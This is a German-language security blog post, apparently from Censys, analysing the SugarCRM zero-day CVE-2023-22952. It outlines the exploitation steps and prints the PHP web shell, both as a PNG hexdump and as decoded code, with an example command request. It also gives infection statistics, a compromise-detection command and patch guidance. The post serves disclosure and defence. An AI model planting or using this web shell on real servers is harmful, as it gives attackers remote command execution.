Zum Inhalt springen
Treten Sie dem Censys Community Forum bei: Verbinden, teilen und gedeihen! | Start hier
Blogs

Verfolgen eines SugarCRM Zero-Days

Update 17. Januar 2023: SugarCRM hat durch ein externes Forensik-Unternehmen bestätigen lassen, dass es kein Eindringen in seine Cloud-basierten Produkte aufgrund dieser Sicherheitslücke gab. Weitere Informationen dazu finden Sie hier.

Aktualisierung am 11. Januar 2023: Dieses Problem wird jetzt als CVE-2023-22952 verfolgt / Aktualisierte kompromittierte Tallies

Update 10. Januar 2023: SugarCRM ist sich des Problems bewusst, und wir haben unseren Beitrag und die Richtlinien zur Behebung der Schwachstelle aktualisiert. Censys hat keinen signifikanten Anstieg der gefährdeten Instanzen festgestellt, wird die Situation aber weiterhin beobachten.

Am 30. Dezember 2022 postete ein Benutzer mit dem Namen "sw33t.0day" einen Exploit (Archiv-Link) auf der Full-Disclosure-Mailingliste für ein webbasiertes Content-Management-System namens SugarCRM; diese Schwachstelle wird derzeit als CVE-2023-22952 verfolgt, und leider wird der Exploit derzeit verwendet, um Hosts in freier Wildbahn zu kompromittieren und eine php-basierte Webshell zu installieren.

Am 5. Januar 2023 beobachtete Censys 3.066 Instanzen von SugarCRM im Internet, wobei 291 einzelne Hosts kompromittiert wurden. Bis zum 11. Januar 2023 haben wir 3. 059 In stanzen von SugarCRM im Internet und 354 eindeutige IP-Adressen gefunden, die die installierte Webshell des Exploits enthalten (ein Zuwachs von 63 IP-Adressen).

 



 

 

In einem Beitrag auf der SugarCRM-Website werden die Schwachstelle und die erforderlichen Schritte zur Sicherung des Dienstes in einer FAQ beschrieben.

Das Exploit scheint ein Authentifizierungs-Bypass gegen "/index.php" auf dem installierten Dienst zu sein. Nach erfolgreicher Umgehung der Authentifizierung wird ein Cookie vom Dienst abgerufen und eine sekundäre POST-Anfrage an den Pfad "/cache/images/sweet.phar" gesendet, die eine winzige PNG-kodierte Datei hochlädt, die PHP-Code enthält, der vom Server ausgeführt wird, wenn eine weitere Anfrage nach der Datei gestellt wird. Die injizierte Binärdatei sieht, wenn sie mit "hexdump" entschlüsselt wird, wie folgt aus:


00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 00 19 00 00 00 14  08 03 00 00 00 4f a9 66  |.............O.f|
00000020  8f 00 00 00 4b 50 4c 54  45 3c 3f 70 68 70 20 65  |....KPLTE<?php e|
00000030  63 68 6f 20 22 23 23 23  23 23 22 3b 20 70 61 73  |cho "#####"; pas|
00000040  73 74 68 72 75 28 62 61  73 65 36 34 5f 64 65 63  |sthru(base64_dec|
00000050  6f 64 65 28 24 5f 50 4f  53 54 5b 22 63 22 5d 29  |ode($_POST["c"])|
00000060  29 3b 20 65 63 68 6f 20  22 23 23 23 23 23 22 3b  |); echo "#####";|
00000070  20 3f 3e 20 f6 18 78 37  00 00 00 09 70 48 59 73  | ?> ..x7....pHYs|
00000080  00 00 0e c4 00 00 0e c4  01 95 2b 0e 1b 00 00 00  |..........+.....|
00000090  2a 49 44 41 54 28 91 63  60 c0 0d 18 99 98 59 58  |*IDAT(.c`.....YX|
000000a0  d9 d8 39 38 b9 b8 79 78  f9 f8 05 04 85 84 45 44  |..98..yx......ED|
000000b0  c5 c4 25 f0 68 19 05 43  14 00 00 30 be 01 2d 4c  |..%.h..C...0..-L|
000000c0  1e 5a 12 00 00 00 00 49  45 4e 44 ae 42 60 82     |.Z.....IEND.B`.|

Dies entspricht in etwa dem folgenden PHP:

<?php 
  echo “#####”; 
  passthru(base64_decode($_POST[“c”])); 
  echo “#####”; 
?>

Dies ist eine einfache Web-Shell, die Befehle auf der Grundlage des base64-kodierten Werts des Abfragearguments "c" ausführt (z. B. "POST /cache/images/sweet.phar?c="L2Jpbi9pZA==" HTTP/1.1", wodurch der Befehl "/bin/id" mit denselben Berechtigungen wie die Benutzerkennung ausgeführt wird, die den Webdienst ausführt).

Top 10 der infizierten Länder
Land Anzahl infizierter Wirte Prozentsatz der Gesamtinfektionen
Vereinigte Staaten 90 32.5%
Deutschland 59 21.3%
Australien 20 7.2%
Frankreich 18 6.5%
Vereinigtes Königreich 15 5.4%
Irland 14 5.1%
Kanada 10 3.6%
Italien 9 3.2%
Niederlande 8 2.9%
Singapur 7 2.5%
Top 10 der infizierten autonomen Systeme
Autonomes System Anzahl infizierter Wirte Prozentsatz der Gesamtinfektionen
AMAZON-02 73 26.4%
AMAZON-AES 33 11.9%
HETZNER-AS 21 7.6%
LEASEWEB-DE-FRA-10 10 3.6%
DIGITALOCEAN-ASN 9 3.2%
OVH 9 3.2%
GOOGLE-CLOUD-PLATTFORM 8 2.9%
AKAMAI-AP 5 1.8%
SQUIZ-AS-AP 5 1.8%
LIQUIDWEB 5 1.8%

Indikatoren für Kompromisse

Ein guter Weg, um festzustellen, ob Ihre SugarCRM-Installation kompromittiert wurde, ist die Eingabe des folgenden Befehls, wobei "$INSTALLDIR" das Stammverzeichnis der SugarCRM-Installation ist:

~$ strings $INSTALLDIR/cache/images/* | grep -i PHP

Wenn eine Ausgabe zu sehen ist, wurde der Host höchstwahrscheinlich kompromittiert. Da der geschriebene Dateiname, der die Web-Shell enthält, beliebig geändert werden kann, ist die Suche nach PHP-Strings in allen Dateien innerhalb dieses Verzeichnisses die beste Identifizierungsmethode.

Da diese Schwachstelle leicht als Waffe eingesetzt, gescannt und automatisiert werden kann, wird Censys diese Schwachstelle weiter verfolgen.

Administratoren sollten auch HTTP-Anfrageprotokolle überwachen, die für das Verzeichnis "/cache/images/" bestimmt sind, und auf den vom Webserver zurückgegebenen Antwortcode achten.

  • Wenn ein 404-Statuscode angezeigt wird, wurde die Datei nicht gefunden und der bösartige Code nicht ausgeführt.
  • Wenn ein 403-Statuscode angezeigt wird, wird der Zugriff vom Webserver verweigert und der Code wird nicht ausgeführt. Dies ist der Statuscode, der angezeigt wird, wenn der Dienst gepatcht wurde.

Was kann getan werden?

Zusammenfassend lässt sich sagen, dass SugarCRM sich dieses Problems bewusst ist, die Kunden benachrichtigt hat und einen Fix für seinen Cloud-gehosteten SugarCRM-Service bereitgestellt hat. Kunden, die eine unterstützte SugarCRM-Version außerhalb des gehosteten Cloud-Produkts verwenden, wurden gebeten, den für ihre SugarCRM-Instanz relevanten Hotfix herunterzuladen und anzuwenden. Kunden, die eine auslaufende Produktversion verwenden, wird empfohlen, so bald wie möglich auf die neueste Softwareversion zu aktualisieren.

SugarCRM hat ein Update auf seiner Website veröffentlicht, in dem diese Sicherheitslücke beschrieben wird.

 

Über den Autor

Mark Ellzey
Senior Security Researcher Alle Beiträge von Mark Ellzey
Mark Ellzey ist ein leitender Sicherheitsforscher bei Censys. Vor seiner jetzigen Tätigkeit war Mark Ellzey über 22 Jahre lang als Netzwerksicherheitsingenieur und Softwareentwickler für verschiedene Internetdienstleister und Finanzinstitute tätig.
Lösungen für das Management von Angriffsflächen
Mehr erfahren